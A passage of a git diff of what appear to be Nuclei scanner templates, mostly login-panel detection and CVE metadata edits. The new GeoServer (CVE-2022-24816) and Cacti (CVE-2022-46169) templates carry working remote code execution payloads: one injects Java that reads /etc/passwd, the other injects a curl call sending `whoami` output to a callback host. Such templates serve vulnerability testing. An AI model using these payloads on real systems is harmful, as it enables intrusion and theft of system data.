+  tags: rce,unauth,wpscan,cve,cve2022,wp,vr-calendar-sync,wordpress,wp-plugin
 
 requests:
   - raw:

cves/2022/CVE-2022-24816.yaml

@@ -0,0 +1,73 @@
+id: CVE-2022-24816
+
+info:
+  name: Geoserver Server - Code Injection
+  author: mukundbhuva
+  severity: critical
+  description: |
+    Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22.
+  reference:
+    - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
+    - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
+    - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-24816
+    cwe-id: CWE-94
+  metadata:
+    fofa-query: app="GeoServer"
+    shodan-query: /geoserver/
+    verified: "true"
+  tags: cve,cve2022,geoserver,rce
+
+requests:
+  - raw:
+      - |
+        POST /geoserver/wms HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0" encoding="UTF-8"?>
+          <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
+            <ows:Identifier>ras:Jiffle</ows:Identifier>
+            <wps:DataInputs>
+              <wps:Input>
+                <ows:Identifier>coverage</ows:Identifier>
+                <wps:Data>
+                  <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
+                </wps:Data>
+              </wps:Input>
+              <wps:Input>
+                <ows:Identifier>script</ows:Identifier>
+                <wps:Data>
+                  <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
+                </wps:Data>
+              </wps:Input>
+              <wps:Input>
+                <ows:Identifier>outputType</ows:Identifier>
+                <wps:Data>
+                  <wps:LiteralData>DOUBLE</wps:LiteralData>
+                </wps:Data>
+              </wps:Input>
+            </wps:DataInputs>
+            <wps:ResponseForm>
+              <wps:RawDataOutput mimeType="image/tiff">
+                <ows:Identifier>result</ows:Identifier>
+              </wps:RawDataOutput>
+            </wps:ResponseForm>
+          </wps:Execute>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+          - "ExceptionInInitializerError"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2022/CVE-2022-24990.yaml

@@ -3,19 +3,15 @@ id: CVE-2022-24990
 info:
   name: TerraMaster TOS < 4.2.30 Server Information Disclosure
   author: dwisiswant0
-  severity: high
+  severity: medium
   description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
   reference:
     - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
-    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
-    - https://forum.terra-master.com/en/viewforum.php?f=28
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
     cve-id: CVE-2022-24990
   metadata:
     shodan-query: TerraMaster
-  tags: cve,cve2022,terramaster,exposure,kev
+  tags: cve,cve2022,terramaster,exposure
 
 requests:
   - method: GET

cves/2022/CVE-2022-2546.yaml

@@ -12,12 +12,9 @@ info:
     - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
     - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 4.7
     cve-id: CVE-2022-2546
-    cwe-id: CWE-79
   metadata:
-    verified: "true"
+    verified: true
   tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss
 
 requests:

cves/2022/CVE-2022-33891.yaml

@@ -17,8 +17,9 @@ info:
     cwe-id: CWE-77
   metadata:
     shodan-query: title:"Spark Master at"
+    cve-id: CVE-2022-33891
     verified: "true"
-  tags: cve,cve2022,apache,spark,authenticated
+  tags: packetstorm,cve,cve2022,apache,spark,authenticated
 
 variables:
   command: "echo CVE-2022-33891 | rev"

cves/2022/CVE-2022-3768.yaml

@@ -19,7 +19,7 @@ info:
     cwe-id: CWE-89
   metadata:
     verified: "true"
-  tags: wpscan,cve2022,wp-plugin,wp,authenticated,cve,wordpress,sqli,wp-smart-contracts
+  tags: wp-smart-contracts,authenticated,cve,wordpress,wp,sqli,cve2022,wp-plugin,wpscan
 
 requests:
   - raw:

cves/2022/CVE-2022-4050.yaml

@@ -17,7 +17,7 @@ info:
     cwe-id: CWE-89
   metadata:
     verified: "true"
-  tags: cve2022,wp-plugin,wp,sqli,cve,wordpress,joomsport-sports-league-results-management,unauth,wpscan
+  tags: wpscan,cve,cve2022,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth
 
 requests:
   - raw:

cves/2022/CVE-2022-4260.yaml

@@ -3,22 +3,20 @@ id: CVE-2022-4260
 info:
   name: WP-Ban < 1.69.1 - Admin Stored XSS
   author: Hardik-Solanki
-  severity: medium
+  severity: high
   description: |
     The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+  remediation: Fixed in version 1.69.1
   reference:
     - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
     - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
-  remediation: Fixed in version 1.69.1
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 4.8
     cve-id: CVE-2022-4260
     cwe-id: CWE-79
   metadata:
     verified: "true"
-  tags: cve2022,wp-plugin,wp,xss,authenticated,cve,wordpress,wp-ban,wpscan
+  tags: wp-plugin,xss,wp-ban,authenticated,wpscan,cve,cve2022,wordpress,wp
 
 requests:
   - raw:

cves/2022/CVE-2022-45917.yaml

@@ -17,9 +17,10 @@ info:
     cve-id: CVE-2022-45917
     cwe-id: CWE-601
   metadata:
+    cve-id: CVE-2022-45917
     shodan-query: http.html:"ILIAS"
     verified: "true"
-  tags: seclists,cve,cve2022,ilias,redirect,packetstorm
+  tags: redirect,packetstorm,seclists,cve,cve2022,ilias
 
 requests:
   - method: GET

cves/2022/CVE-2022-46169.yaml

@@ -0,0 +1,48 @@
+id: CVE-2022-46169
+
+info:
+  name: Cacti <= 1.2.22 Unauthenticated Command Injection
+  author: Hardik-Solanki
+  severity: critical
+  description: |
+    The vulnerability allows a remote attacker to compromise the affected system. The vulnerability exists due to insufficient authorization within the Remote Agent when handling HTTP requests with a custom Forwarded-For HTTP header. A remote non-authenticated attacker can send a specially crafted HTTP request  to the affected instance and execute arbitrary OS commands on the server.
+  reference:
+    - https://security-tracker.debian.org/tracker/CVE-2022-46169
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-46169
+    - https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
+    - https://www.cybersecurity-help.cz/vdb/SB2022121926
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-46169
+    cwe-id: CWE-285
+  metadata:
+    shodan-query: title:"Login to Cacti"
+    verified: "true"
+  tags: cve2022,cve,auth-bypass,cacti
+
+requests:
+  - raw:
+      - |
+        GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}/`whoami`; HTTP/1.1
+        Host: {{Hostname}}
+        X-Forwarded-For: 127.0.0.1
+
+    unsafe: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"value":'
+          - '"local_data_id":'
+        condition: and
+
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: status
+        status:
+          - 200

exposed-panels/aircube-dashboard-panel.yaml

@@ -1,9 +1,14 @@
 id: aircube-dashboard-panel
 
 info:
-  name: AirCube Dashboard Panel
+  name: airCube Dashboard Login Panel - Detect
   author: theamanrawat
   severity: info
+  description: airCube Dashboard login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"AirCube Dashboard"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/content-central-login.yaml

@@ -1,9 +1,14 @@
 id: content-central-login
 
 info:
-  name: Content Central Login Panel
+  name: Content Central Login Panel - Detect
   author: theabhinavgaur
   severity: info
+  description: Content Central login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"Content Central Login"
@@ -25,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/creatio-login-panel.yaml

@@ -1,9 +1,14 @@
 id: creatio-login-panel
 
 info:
-  name: Creatio Login Panel
+  name: Creatio Login Panel - Detect
   author: theamanrawat
   severity: info
+  description: Creatio login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"Creatio"
@@ -27,3 +32,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/dqs-superadmin-panel.yaml

@@ -1,9 +1,14 @@
 id: dqs-superadmin-panel
 
 info:
-  name: DQS Superadmin Login Panel
+  name: DQS Superadmin Login Panel - Detect
   author: Hardik-Solanki
   severity: info
+  description: DQS Superadmin login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"DQS Superadmin"
@@ -23,3 +28,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/flahscookie-superadmin-panel.yaml

@@ -1,9 +1,14 @@
 id: flahscookie-superadmin-panel
 
 info:
-  name: Flahscookie Superadmin Login
+  name: Flahscookie Superadmin Login Panel - Detect
   author: Hardik-Solanki
   severity: info
+  description: Flahscookie Superadmin login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Flahscookie Superadmin"
@@ -23,3 +28,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/gyra-master-admin.yaml

@@ -1,9 +1,14 @@
 id: gyra-master-admin
 
 info:
-  name: GYRA Master Admin
+  name: GYRA Master Admin Login Panel - Detect
   author: Hardik-Solanki
   severity: info
+  description: GYRA Master Admin login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Login | GYRA Master Admin"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/ilias-panel.yaml

@@ -1,9 +1,14 @@
 id: ilias-panel
 
 info:
-  name: ILIAS Panel
+  name: ILIAS Login Panel - Detect
   author: arafatansari
   severity: info
+  description: ILIAS login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.html:"ILIAS"
@@ -28,3 +33,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/jcms-panel.yaml

@@ -1,11 +1,16 @@
 id: jalios-jcms-panel
 
 info:
-  name: Jalios JCMS Panel
+  name: Jalios JCMS Login Panel - Detect
   author: righettod
   severity: info
+  description: Jalios JCMS login panel was detected.
   reference:
     - https://www.jalios.com/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: html:"Jalios JCMS"
@@ -30,3 +35,5 @@ requests:
           - "JCMS_login"
           - "/jcms/"
         condition: or
+
+# Enhanced by md on 2023/01/03

exposed-panels/lenovo-fp-panel.yaml

@@ -0,0 +1,30 @@
+id: lenovo-fp-panel
+
+info:
+  name: Lenovo Fan and Power Controller Panel
+  author: megamansec
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.html:"Avocent Corporation and its affiliates"
+  tags: panel,lenovo
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/login.html"
+
+    stop-at-first-match: true
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Avocent Corporation and its affiliates"
+
+      - type: status
+        status:
+          - 200

exposed-panels/loxone-panel.yaml

@@ -1,9 +1,14 @@
 id: loxone-panel
 
 info:
-  name: Loxone Intercom Video Login
+  name: Loxone Intercom Video Panel - Detect
   author: theabhinavgaur
   severity: info
+  description: Loxone Intercom Video panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"Loxone Intercom Video"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/mag-dashboard-panel.yaml

@@ -1,9 +1,14 @@
 id: mag-dashboard-panel
 
 info:
-  name: MAG Dashboard Panel
+  name: MAG Dashboard Login Panel - Detect
   author: theamanrawat
   severity: info
+  description: MAG Dashboard login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"MAG Dashboard Login"
@@ -28,3 +33,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/microfocus-admin-server.yaml

@@ -1,9 +1,14 @@
 id: microfocus-admin-server
 
 info:
-  name: Micro Focus Enterprise Server Administration
+  name: Micro Focus Enterprise Server Admin Panel - Detect
   author: theabhinavgaur
   severity: medium
+  description: Micro Focus Enterprise Server Admin panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: "Micro Focus DSD"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/mikrotik/mikrotik-routeros.yaml

@@ -1,8 +1,7 @@
 id: mikrotik-routeros
 
 info:
-
-  name: MikroTik Router OS - Login Panel Detect
+  name: MikroTik Router OS Login Panel - Detect
   author: gy741
   severity: info
   description: MikroTik Router OS login panel was detected.
@@ -59,3 +58,5 @@ requests:
           - '<div class="top">mikrotik routeros (.[0-9.]+) configuration page</div>'
           - 'routeros (.[0-9.]+) '
           - '<b>MikroTik RouterOS (.[0-9.]+)</b>'
+
+# Enhanced by md on 2023/01/03

exposed-panels/mpftvc-admin-panel.yaml

@@ -0,0 +1,25 @@
+id: mpftvc-admin-panel
+
+info:
+  name: MPFTVC Admin Login Panel
+  author: Hardik-Solanki
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: title:"AdminLogin - MPFTVC"
+  tags: panel,mpftvc,admin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "AdminLogin - MPFTVC"
+
+      - type: status
+        status:
+          - 200

exposed-panels/ncentral-panel.yaml

@@ -1,9 +1,14 @@
 id: ncentral-panel
 
 info:
-  name: N-central Login Panel
+  name: N-central Login Panel - Detect
   author: theabhinavgaur
   severity: info
+  description: N-central login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"N-central Login"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/netris-dashboard-panel.yaml

@@ -1,9 +1,14 @@
 id: netris-dashboard-panel
 
 info:
-  name: Netris Dashboard Panel
+  name: Netris Dashboard Panel - Detect
   author: theamanrawat
   severity: info
+  description: Netris Dashboard panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"Netris Dashboard"
@@ -24,3 +29,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/netsparker-panel.yaml

@@ -0,0 +1,32 @@
+id: netsparker-panel
+
+info:
+  name: Netsparker Panel
+  author: pussycat0x
+  severity: info
+  description: |
+    Netsparker is a fully configurable Enterprise Dynamic Application Security Testing (DAST) tool. A DAST tool communicates with a web application using the web front-end in order to identify potential security vulnerabilities in the web application.
+  reference:
+    - https://www.invicti.com/
+  metadata:
+    verified: true
+    shodan-query: http.title:"Sign in to Netsparker Enterprise"
+  tags: panel,netsparker
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/account/signin?ReturnUrl=%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Netsparker Ltd"
+          - "Netsparker Enterprise"
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposed-panels/opencart-panel.yaml

@@ -1,13 +1,17 @@
 id: opencart-panel
 
 info:
-  name: OpenCart Login Panel
+  name: OpenCart Login Panel - Detect
   author: ricardomaia
   severity: info
   description: |
-    OpenCart is an open-source online store management system.
+    OpenCart login panel was detected.
   reference:
     - https://www.opencart.com
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: html:"OpenCart"
@@ -28,3 +32,5 @@ requests:
           - '(?i)footer\s.*OpenCart.*All.Rights.Reserved|img\s.*logo.*\salt=.*OpenCart'
           - "(?i)Powered.By.*http.*OpenCart"
         condition: or
+
+# Enhanced by md on 2023/01/03

exposed-panels/planet-estream-panel.yaml

@@ -1,9 +1,14 @@
 id: planet-estream-panel
 
 info:
-  name: Planet eStream Login Panel
+  name: Planet eStream Login Panel - Detect
   author: arafatansari
   severity: info
+  description: Planet eStream login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Login - Planet eStream"
@@ -28,3 +33,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/posthog-admin-panel.yaml

@@ -1,9 +1,14 @@
 id: posthog-admin-panel
 
 info:
-  name: Posthog Admin Panel
+  name: PostHog Login Panel - Detect
   author: theabhinavgaur
   severity: info
+  description: PostHog login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: http.title:"posthog"
@@ -27,3 +32,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/retool-login.yaml

@@ -1,9 +1,14 @@
 id: retool-login
 
 info:
-  name: Retool Login
+  name: Retool Login Panel - Detect
   author: DhiyaneshDk
   severity: info
+  description: Retool login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Retool"
@@ -23,3 +28,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/riseup-panel.yaml

@@ -1,11 +1,16 @@
 id: riseup-panel
 
 info:
-  name: Rise Up Panel
+  name: Rise Up Login Panel - Detect
   author: righettod
   severity: info
+  description: Rise Up login panel was detected.
   reference:
     - https://www.riseup.ai/en/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: panel,riseup
@@ -33,3 +38,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/rocketmq-console-exposure.yaml

@@ -1,9 +1,14 @@
 id: rocketmq-console-exposure
 
 info:
-  name: Apache RocketMQ Console Exposure
+  name: Apache RocketMQ Console Panel - Detect
   author: pdteam
   severity: info
+  description: Apache RocketMQ Console panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: panel,apache
 
 requests:
@@ -15,3 +20,5 @@ requests:
       - type: word
         words:
           - "<title>RocketMq-console-ng</title>"
+
+# Enhanced by md on 2023/01/03

exposed-panels/room-alert-detect.yaml

@@ -1,11 +1,16 @@
 id: room-alert-detect
 
 info:
-  name: AVTECH Room Alert - Panel Detect
+  name: AVTECH Room Alert Login Panel - Detect
   author: gy741
   severity: info
+  description: AVTECH Room Alert login panel was detected.
   reference:
     - https://avtech.com/articles/166/how-to-access-a-room-alert-monitors-settings-pages-2/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Room Alert"
@@ -36,3 +41,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/royalevent-management-panel.yaml

@@ -1,9 +1,14 @@
 id: royalevent-management-panel
 
 info:
-  name: Royal Event Management Admin Panel
+  name: Royal Event Management System Admin Panel - Detect
   author: ritikchaddha
   severity: info
+  description: Royal Event Management System admin panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: royalevent,panel
@@ -26,3 +31,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/rsa-self-service.yaml

@@ -1,9 +1,14 @@
 id: rsa-self-service
 
 info:
-  name: Detect RSA Self-Service Panel
+  name: RSA Self-Service Login Panel - Detect
   author: PR3R00T
   severity: info
+  description: RSA Self-Service login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: panel,rsa
 
 requests:
@@ -23,3 +28,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/rstudio-detect.yaml

@@ -1,9 +1,14 @@
 id: rstudio-detect
 
 info:
-  name: RStudio panel detector
+  name: RStudio Panel - Detect
   author: philippedelteil
   severity: info
+  description: RStudio panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: panel,rstudio
 
 requests:
@@ -19,3 +24,5 @@ requests:
       - type: status
         status:
           - 302
+
+# Enhanced by md on 2023/01/03

exposed-panels/ruckus-wireless-admin-login.yaml

@@ -1,25 +1,32 @@
-id: ruckus-wireless-admin-login
-info:
-  name: Ruckus Wireless Admin Login Panel
-  author: pussycat0x
-  severity: info
-  metadata:
-    verified: true
-    shodan-query: title:"ruckus"
-  tags: panel,exposed,ruckus
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/login.asp'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "<title>Ruckus Wireless Admin</title>"
-
-      - type: status
-        status:
-          - 200
+id: ruckus-wireless-admin-login
+info:
+  name: Ruckus Wireless Admin Login Panel - Detect
+  author: pussycat0x
+  severity: info
+  description: Ruckus Wireless admin login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+    shodan-query: title:"ruckus"
+  tags: panel,exposed,ruckus
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login.asp'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<title>Ruckus Wireless Admin</title>"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/ruijie/rg-uac-panel.yaml

@@ -1,9 +1,14 @@
 id: rg-uac-panel
 
 info:
-  name: RG-UAC Ruijie Login Panel
+  name: Ruijie RG-UAC Login Panel - Detect
   author: princechaddha
   severity: info
+  description: Ruijie RG-UAC login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     shodan-query: http.html:"Get_Verify_Info"
   tags: panel,ruijie,router,firewall
@@ -25,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/rundeck-login.yaml

@@ -1,9 +1,14 @@
 id: rundeck-login
 
 info:
-  name: RunDeck Login Panel
+  name: Rundeck Login Panel - Detect
   author: DhiyaneshDk, daffainfo
   severity: info
+  description: Rundeck login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Rundeck"
@@ -37,3 +42,5 @@ requests:
           - 'utm_medium=([0-9.]+)-'
           - 'data-version-string=\"([0-9.-]+)\"' ## Detection version on old rundeck
           - '<span class="version">([0-9.-]+)<\/span>' ## Detection on very old rudneck
+
+# Enhanced by md on 2023/01/03

exposed-panels/rustici-content-controller.yaml

@@ -1,9 +1,14 @@
 id: rustici-content-controller
 
 info:
-  name: Rustici Content Controller
+  name: Rustici Content Controller Panel - Detect
   author: DhiyaneshDk
   severity: info
+  description: Rustici Content Controller panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
     shodan-query: title:"Rustici Content Controller"
@@ -25,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/saferoads-vms-login.yaml

@@ -1,11 +1,16 @@
 id: saferoads-vms-login
 
 info:
-  name: Saferoads VMS Login
+  name: Saferoads VMS Login Panel - Detect
   author: dhiyaneshDk
   severity: info
+  description: Saferoads VMS login panel was detected.
   reference:
     - https://www.exploit-db.com/ghdb/6941
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
